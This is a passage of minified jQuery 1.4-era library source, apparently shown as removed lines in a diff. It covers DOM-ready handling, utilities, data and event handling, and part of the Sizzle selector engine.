-Oa;if(a)z.jQuery=Na;return c},isReady:false,ready:function(){if(!c.isReady){if(!r.body)return setTimeout(c.ready,13);c.isReady=true;if(P){for(var a,b=0;a=P[b++];)a.call(r,c);P=null}c.fn.triggerHandler&&c(r).triggerHandler("ready")}},bindReady:function(){if(!va){va=true;if(r.readyState==="complete")return c.ready();if(r.addEventListener){r.addEventListener("DOMContentLoaded",L,false);z.addEventListener("load",c.ready,false)}else if(r.attachEvent){r.attachEvent("onreadystatechange",L);z.attachEvent("onload",
-c.ready);var a=false;try{a=z.frameElement==null}catch(b){}r.documentElement.doScroll&&a&&la()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,"isPrototypeOf"))return false;var b;for(b in a);return b===v||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;
-return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return z.JSON&&z.JSON.parse?z.JSON.parse(a):(new Function("return "+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Ra.test(a)){var b=r.getElementsByTagName("head")[0]||
-r.documentElement,d=r.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(r.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,i=a.length,j=i===v||c.isFunction(a);if(d)if(j)for(f in a){if(b.apply(a[f],d)===false)break}else for(;e<i;){if(b.apply(a[e++],d)===false)break}else if(j)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=
-a[0];e<i&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Sa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==
-v;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,i=a.length;e<i;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,i=0,j=a.length;i<j;i++){e=b(a[i],i,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=v}else if(b&&!c.isFunction(b)){d=b;b=v}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},
-uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});O=c.uaMatch(O);if(O.browser){c.browser[O.browser]=true;c.browser.version=O.version}if(c.browser.webkit)c.browser.safari=true;if(wa)c.inArray=function(a,b){return wa.call(b,a)};S=c(r);if(r.addEventListener)L=function(){r.removeEventListener("DOMContentLoaded",
-L,false);c.ready()};else if(r.attachEvent)L=function(){if(r.readyState==="complete"){r.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=r.documentElement,b=r.createElement("script"),d=r.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML="   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support=
-{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};
-b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=r.createDocumentFragment();a.appendChild(d.firstChild);
-c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props=
-{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true,
-{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,
-a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);
-return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||
-a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=
-c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className)for(var i=" "+e.className+" ",j=0,n=b.length;j<n;j++){if(i.indexOf(" "+b[j]+" ")<0)e.className+=" "+b[j]}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=c(this);m.removeClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string"||a===v)for(var b=(a||"").split(ca),
-d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var i=(" "+e.className+" ").replace(ya," "),j=0,n=b.length;j<n;j++)i=i.replace(" "+b[j]+" "," ");e.className=i.substring(1,i.length-1)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var i=c(this);i.toggleClass(a.call(this,e,i.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,i=0,j=c(this),n=b,o=
-a.split(ca);e=o[i++];){n=f?n:!j.hasClass(e);j[n?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(ya," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||
-{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i<d;i++){var j=e[i];if(j.selected){a=c(j).val();if(b)return a;f.push(a)}}return f}if(za.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Wa,"")}return v}var n=c.isFunction(a);return this.each(function(o){var m=c(this),s=a;if(this.nodeType===1){if(n)s=a.call(this,o,m.val());
-if(typeof s==="number")s+="";if(c.isArray(s)&&za.test(this.type))this.checked=c.inArray(m.val(),s)>=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d);
-f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=
-""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j=
-function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a,
-d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+
-s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a,
-"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,
-b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b,
-d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
-fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
-d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b=
-0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};
-c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b=
-a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!==
-"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this,
-"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"||
-d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a=
-a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,
-f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a,
-b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+
-a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e){var i,j=0;if(c.isFunction(f)){e=f;f=v}for(d=(d||"").split(/\s+/);(i=d[j++])!=null;){i=i==="focus"?"focusin":i==="blur"?"focusout":i==="hover"?d.push("mouseleave")&&"mouseenter":i;b==="live"?c(this.context).bind(oa(i,this.selector),{data:f,selector:this.selector,
-live:i},e):c(this.context).unbind(oa(i,this.selector),e?{guid:e.guid+this.selector+i}:null)}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});z.attachEvent&&!z.addEventListener&&z.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});
-(function(){function a(g){for(var h="",k,l=0;g[l];l++){k=g[l];if(k.nodeType===3||k.nodeType===4)h+=k.nodeValue;else if(k.nodeType!==8)h+=a(k.childNodes)}return h}function b(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===k){y=l[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=k;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}l[q]=y}}}function d(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===
-k){y=l[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=k;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(o.filter(h,[t]).length>0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||
-typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u=
-l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&
-y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};o.matches=function(g,h){return o(g,null,null,h)};o.find=function(g,h,k){var l,q;if(!g)return[];for(var p=0,u=m.order.length;p<u;p++){var t=m.order[p];if(q=m.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");l=m.find[t](q,
-h,k);if(l!=null){g=g.replace(m.match[t],"");break}}}}l||(l=h.getElementsByTagName("*"));return{set:l,expr:g}};o.filter=function(g,h,k,l){for(var q=g,p=[],u=h,t,y,R=h&&h[0]&&w(h[0]);g&&h.length;){for(var H in m.filter)if((t=m.leftMatch[H].exec(g))!=null&&t[2]){var M=m.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-1)!=="\\"){if(u===p)p=[];if(m.preFilter[H])if(t=m.preFilter[H](t,u,k,p,l,R)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=u[U])!=null;U++)if(D){I=M(D,t,U,u);var Da=
-l^!!I;if(k&&I!=null)if(Da)y=true;else u[U]=false;else if(Da){p.push(D);y=true}}if(I!==v){k||(u=p);g=g.replace(m.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)o.error(g);else break;q=g}return u};o.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var m=o.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
-TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},relative:{"+":function(g,h){var k=typeof h==="string",l=k&&!/\W/.test(h);k=k&&!l;if(l)h=h.toLowerCase();l=0;for(var q=g.length,
-p;l<q;l++)if(p=g[l]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[l]=k||p&&p.nodeName.toLowerCase()===h?p||false:p===h}k&&o.filter(h,g,true)},">":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l<q;l++){var p=g[l];if(p){k=p.parentNode;g[l]=k.nodeName.toLowerCase()===h?k:false}}}else{l=0;for(q=g.length;l<q;l++)if(p=g[l])g[l]=k?p.parentNode:p.parentNode===h;k&&o.filter(h,g,true)}},"":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=
-h=h.toLowerCase();q=b}q("parentNode",h,l,g,p,k)},"~":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,l,g,p,k)}},find:{ID:function(g,h,k){if(typeof h.getElementById!=="undefined"&&!k)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var k=[];h=h.getElementsByName(g[1]);for(var l=0,q=h.length;l<q;l++)h[l].getAttribute("name")===g[1]&&k.push(h[l]);return k.length===0?null:k}},
